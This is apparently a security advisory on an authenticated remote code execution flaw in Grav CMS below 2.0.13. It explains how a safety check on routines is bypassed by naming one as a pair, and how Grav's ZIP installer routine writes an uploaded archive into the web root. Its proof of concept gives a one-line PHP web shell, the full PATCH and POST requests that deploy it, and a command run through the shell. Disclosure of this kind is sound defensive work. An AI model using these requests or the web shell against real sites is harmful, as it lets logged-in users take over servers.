Grav CMS vulnerable to remote code execution via .zip file upload

A logged-in user can bypass a safety check on routines called by settings fields and run arbitrary commands as the web server's account. The described attack uses Flex Objects settings and a ZIP upload to place executable PHP in the site's public folder. It can be set up through the web interface without editing files directly on the server.

Check composer.lock for getgrav/grav below 2.0.13; 2.0.13 is the fixed version. Check whether logged-in users can upload ZIP media and save Flex Objects plugin settings, including its directory list. These are the features used by the described attack.

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

   Zip the shell.php file with the php code mentioned below:

   shell.php:  <?php system($_GET['c']); ?>
   zip evil.zip shell.php
   

3. Send the request (attach your Cookie and X-API-Token):

   PATCH /api/v1/config/plugins/flex-objects
   Content-Type: application/json
   
   {
     "directories": ["user/config/plugins/flex-objects.yaml"],
     "title": "Pwn",
     "type": "flex-objects",
     "config": { "data": {
       "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
       "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
       "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
       "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                    "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                 "folder": "user-data://flex-objects/pwn.json" } } } },
     "form": { "validation": "loose", "fields": {
       "name": {"type": "text", "label": "Name"},
       "pwn":  {"type": "text", "label": "pwn",
                "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                  "user/media/evil.zip",
                                  "/absolute/path/to/grav-docroot"]} } }
   }
   

4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

   POST /api/v1/flex-objects/flex-objects
   Content-Type: application/json
   
   {"name": "x"}
   -> 201
   

5. Open the file that was written:

   http://TARGET/shell.php?c=id
   -> PWNED:uid=1000(kali) gid=1000(kali) ...
   

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.